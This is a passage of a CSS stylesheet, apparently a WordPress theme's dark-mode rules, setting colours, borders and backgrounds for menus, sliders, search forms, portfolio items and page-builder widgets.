    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-buttons a {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-item .portfolio-buttons a:hover {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-item .portfolio-buttons a.liked > i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .text-grid-cat,
body.pcdm-enable.pcdark-mode .text-grid-cat a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .text-grid-cat a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-portfolio-thumbnail a:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc h3 {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc h3:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc span:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search {
    background-color: var(--pcbg-cl);
    border-color: var(--pcaccent-cl);
    box-shadow: 0 3px 3px rgba(64, 64, 64, 0.6);
    -mox-box-shadow: 0 3px 3px rgba(64, 64, 64, 0.6);
    -webkit-box-shadow: 0 3px 3px rgba(64, 64, 64, 0.6);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search:before {
    border-color: transparent transparent var(--pcaccent-cl) transparent;
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-mode .header-search-style-showup .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform .searchsubmit {
    background-color: var(--pcaccent-cl);
    color: white;
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform .searchsubmit:hover {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
/* Dark Mode Modify*/
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before {
    border-top-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow .inner-arrow {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #widget-area .penci-border-arrow .inner-arrow {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element > .elementor-widget-container,
body.pcdm-enable.pcdark-mode .elementor .elementor-element.elementor-section:not(.elementor-motion-effects-element-type-background),
body.pcdm-enable.pcdark-mode .elementor .elementor-element.elementor-section > .elementor-motion-effects-container > .elementor-motion-effects-layer {
    background-color: transparent;
    border-color: var(--pcborder-cl);
    transition: none;
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .elementor-button {
    color: var(--pctext-cl);
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-soledad-product:not(.style-6) a {
    color: var(--pcl-cl) !important;
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element div:not(.penci-bgrid-content-on) a:not(.penci-btn-readmore):hover {
    color: var(--pclh-cl) !important;
    border-color: var(--pclh-cl) !important;
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-top,
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li,
body.pcdm-enable.pcdark-mode .elementor-widget:not(.elementor-widget-penci-big-grid) * {
    border-color: var(--pcborder-cl) !important;
    fill: var(--pctext-cl) !important;
    color: var(--pctext-cl) !important;
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .elementor-shape * {
    fill: var(--pcbg-cl) !important;
}
body.pcdm-enable.pcdark-mode .mfp-preloader {
    color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .mfp-preloader a {
    color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .mfp-preloader a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .mfp-close {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .mfp-close-btn-in .mfp-close {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .mfp-image-holder .mfp-close,
body.pcdm-enable.pcdark-mode .mfp-iframe-holder .mfp-close {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .mfp-counter {
    color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .mfp-figure small {
    color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .mfp-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .justified-gallery > a > .caption,
body.pcdm-enable.pcdark-mode .justified-gallery > div > .caption {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .justified-gallery > .spinner > span {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode input {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode body {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .post-pagination h5 {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .post-pagination h5 {
    transition: color 0.3s;
}
body.pcdm-enable.pcdark-mode .post-pagination h5:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .penci-topbar-ctext * {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev,
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-trending-nav a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-enews-ticker .headline-title.nticker-style-3:after {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-enews-ticker .penci-trending-nav a,
body.pcdm-enable.pcdark-mode .penci-enews-ticker .penci-trending-nav a:hover {
    color: #666;
}
body.pcdm-enable.pcdark-mode #penci-login-popup {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup:after {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode #navigation .sub-menu li a,
body.pcdm-enable.pcdark-mode #navigation .menu > li > a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu > li > a:hover,
body.pcdm-enable.pcdark-mode #navigation .menu > li:hover > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current-menu-item > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current-menu-item > a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #navigation .button-menu-mobile {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories:after {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode #navigation ul.menu > li.menu-item-has-children > a:after,
body.pcdm-enable.pcdark-mode #navigation .menu > ul > li.menu-item-has-children > a:after,
body.pcdm-enable.pcdark-mode #navigation ul.menu > li.penci-mega-menu > a:after,
body.pcdm-enable.pcdark-mode #navigation .menu > ul > li.penci-mega-menu > a:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after {
    background-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a {
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span {
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode #sidebar-nav::-webkit-scrollbar-thumb {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav::-webkit-scrollbar-corner {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-social.sidebar-nav-social a i:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i {
    border-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a .indicator:hover,
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu .sub-menu li a .indicator:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a .indicator:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu .sub-menu li a .indicator:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle .penci-lines:before,
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle .penci-lines:after {
    background-color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle .lines-button:after {
    background-color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg-inner #penci-close-hbg:hover:before,
body.pcdm-enable.pcdark-mode .penci-menu-hbg-inner #penci-close-hbg:hover:after {
    background-color: #111;
}
body.pcdm-enable.pcdark-mode .top-search-classes a.cart-contents,
body.pcdm-enable.pcdark-mode .top-search-classes > a,
body.pcdm-enable.pcdark-mode .pcheader-icon > a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .pcheader-icon.shoping-cart-icon > a > span {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .main-nav-social a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .main-nav-social a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .header-social a:hover i {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .dark-layout-enabled .featured-area.featured-video {
    background-color: #2d2d2d;
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel .penci-owl-nav .owl-prev,
body.pcdm-enable.pcdark-mode .penci-owl-carousel .penci-owl-nav .owl-next {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .featured-cat a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .feat-meta span > time,
body.pcdm-enable.pcdark-mode span.side-item-meta > time,
body.pcdm-enable.pcdark-mode span.date > time {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta > span:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode div:not(.penci-slide-overlay) .penci-mag-featured-content h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat > a.penci-cat-name {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta span,
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-35 .feat-text-right h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-35 .cat > a.penci-cat-name {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta > span:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .featured-slider-excerpt p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-image-holder:not([style*='background-image']),
body.pcdm-enable.pcdark-mode .penci-lazy[src*="penci-holder"],
body.pcdm-enable.pcdark-mode .penci-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],
body.pcdm-enable.pcdark-mode .owl-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],
body.pcdm-enable.pcdark-mode .penci-holder-load:not([style*='background-image']),
body.pcdm-enable.pcdark-mode .penci-lazy:not(.lazyloaded) {
    background: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .pencislider-container .pencislider-content .pencislider-title a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pencislider-container .pencislider-content .pencislider-title span {
    color: inherit;
    background-color: rgba(0, 0, 0, 0.4);
}
body.pcdm-enable.pcdark-mode .pencislider-container .pencislider-content .pencislider-caption span {
    color: inherit;
    background-color: rgba(0, 0, 0, 0.4);
}
body.pcdm-enable.pcdark-mode .pc-builder-menu .navigation {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .penci-desktop-topbar,
body.pcdm-enable.pcdark-mode .penci-desktop-midbar,
body.pcdm-enable.pcdark-mode .penci-desktop-bottombar,
body.pcdm-enable.pcdark-mode .penci-desktop-topblock,
body.pcdm-enable.pcdark-mode .penci-desktop-bottomblock {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .navigation .sub-menu > li > a,
body.pcdm-enable.pcdark-mode .navigation .menu > li > a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .navigation .menu li > a:hover,
body.pcdm-enable.pcdark-mode .navigation .menu li:hover > a,
body.pcdm-enable.pcdark-mode .navigation .menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode .navigation .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode .navigation .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode .navigation .menu > li.current-menu-item > a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .navigation .button-menu-mobile {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-child-categories:after {
    background-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .navigation ul.menu > li.menu-item-has-children > a:after,
body.pcdm-enable.pcdark-mode .navigation .menu > ul.sub-menu > li.menu-item-has-children > a:after,
body.pcdm-enable.pcdark-mode .navigation ul.menu > li.penci-mega-menu > a:after,
body.pcdm-enable.pcdark-mode .navigation .menu > ul.sub-menu > li.penci-mega-menu > a:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a {
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span {
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu > li > a:hover,
body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu > li:hover > a,
body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu > li.current-menu-item > a,
body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu > li.current-menu-item > a {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-text-logo .site-name {
    color: var(--pchb-logo-title-color);
}
body.pcdm-enable.pcdark-mode #navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a,
body.pcdm-enable.pcdark-mode .navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a {
    border-color: transparent;
}
body.pcdm-enable.pcdark-mode #navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a.cat-active,
body.pcdm-enable.pcdark-mode .navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a.cat-active {
    background-color: var(--pcbg-cl);
    border-color: var(--pcborder-cl);
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,
body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-image-logo .site-slogan,
body.pcdm-enable.pcdark-mode .penci-header-text-logo .site-slogan {
    color: var(--pchb-logo-slogan-color);
}
body.pcdm-enable.pcdark-mode .penci_navbar_mobile .penci-header-text-logo .site-name {
    color: var(--pchb-m-logo-title-color);
}
body.pcdm-enable.pcdark-mode .penci_navbar_mobile .site-slogan {
    color: var(--pchb-m-logo-slogan-color);
}
body.pcdm-enable.pcdark-mode .pc-logo-sticky.penci-header-text-logo .site-name {
    color: var(--pchb-logo-s-title-color);
}
body.pcdm-enable.pcdark-mode .pc-logo-sticky.penci-header-image-logo .site-slogan,
body.pcdm-enable.pcdark-mode .pc-logo-sticky.penci-header-text-logo .site-slogan {
    color: var(--pchb-logo-s-slogan-color);
}
body.pcdm-enable.pcdark-mode .pb-logo-sidebar-mobile.penci-header-text-logo .site-name {
    color: var(--pchb-logo-sm-title-color);
}
body.pcdm-enable.pcdark-mode .pb-logo-sidebar-mobile.penci-header-image-logo .site-slogan,
body.pcdm-enable.pcdark-mode .pb-logo-sidebar-mobile.penci-header-text-logo .site-slogan {
    color: var(--pchb-logo-sm-slogan-color);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.header-social a i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.header-social a:hover i {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-vertical-line {
    background-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu ul.sub-menu li a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu > li > a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu li > a:hover,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-item > a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu ul.sub-menu li a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu > li > a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu li > a:hover,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-item > a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu ul.sub-menu li a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu > li > a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu li > a:hover,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-item > a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.penci-topbar-trending a.penci-topbar-post-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci_header.penci_builder_sticky_header_desktop {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .close-mobile-menu-builder {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .close-mobile-menu-builder i {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci_navbar_mobile.mobile-sticky {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input {
    color: var(--pcs-d-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::placeholder {
    color: var(--pcs-d-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input:-ms-input-placeholder {
    color: var(--pcs-d-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::-ms-input-placeholder {
    color: var(--pcs-d-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input {
    color: var(--pcs-s-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::placeholder {
    color: var(--pcs-s-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input:-ms-input-placeholder {
    color: var(--pcs-s-txt-cl);
}
body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::-ms-input-placeholder {
    color: var(--pcs-s-txt-cl);
}
body.pcdm-enable.pcdark-mode .pc-search-form.search-style-icon-button .searchsubmit,
body.pcdm-enable.pcdark-mode .pc-search-form.search-style-text-button .searchsubmit {
    background-color: var(--pcaccent-cl);
    color: white;
}
body.pcdm-enable.pcdark-mode .pc-header-element.penci-topbar-social a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pc-header-element .pctopbar-login-btn .pclogin-sub li a {
    color: white;
}
body.pcdm-enable.pcdark-mode .pc-header-element .pctopbar-login-btn .pclogin-sub li a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input {
    color: var(--pchd-sinput-txt);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::placeholder {
    color: var(--pchd-sinput-txt);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input:-ms-input-placeholder {
    color: var(--pchd-sinput-txt);
}
body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::-ms-input-placeholder {
    color: var(--pchd-sinput-txt);
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-cat a.penci-cat-name {
    border-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-cat a.penci-cat-name:after {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-cat a.penci-cat-name:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-meta h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-meta-child span {
    color: #ffffff;
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .penci-direction-nav a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-magazine-slider .penci-direction-nav a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag2-carousel .mag2-header h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag2-carousel .cat > a.penci-cat-name {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag2-carousel .cat > a.penci-cat-name:after {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcbg-content-inner .cat > a.penci-cat-name,
body.pcdm-enable.pcdark-mode .pcbg-content-inner .cat > a.penci-cat-name:hover {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-content-inner .pcbg-title a,
body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-content-inner .pcbg-title a:hover {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-meta,
body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-meta span,
body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-meta span a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-bgitem .pcbg-pexcerpt p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-bgrid-based-custom .pcbg-sub-title a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pcbg-readmore-sec .pcbg-readmorebtn,
body.pcdm-enable.pcdark-mode .pcsl-readmore .pcsl-readmorebtn {
    background-color: #efefef;
    color: #111;
    border-color: transparent;
}
body.pcdm-enable.pcdark-mode .penci-biggrid-data .pcbg-readmore-sec span {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-biggrid-data .pcbg-readmore-sec i {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pcbg-thumb .icon-post-format {
    color: rgba(255, 255, 255, 0.9);
}
body.pcdm-enable.pcdark-mode .pcfooter-navmenu .pcfoot-navmenu li a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcfooter-navmenu .pcfoot-navmenu li.current-menu-item a,
body.pcdm-enable.pcdark-mode .pcfooter-navmenu .pcfoot-navmenu li a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .sl-date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .pcsl-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .pcsl-title a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .pcsl-title a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .cat .penci-product-cats,
body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .cat .penci-product-cats a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow:before {
    border-color: transparent;
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title h3 {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-simplelist li a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-simplelist.penci-simplelist-type-ordered li:before {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .penci-simplelist.penci-simplelist-type-unordered li:before {
    background-color: transparent;
}
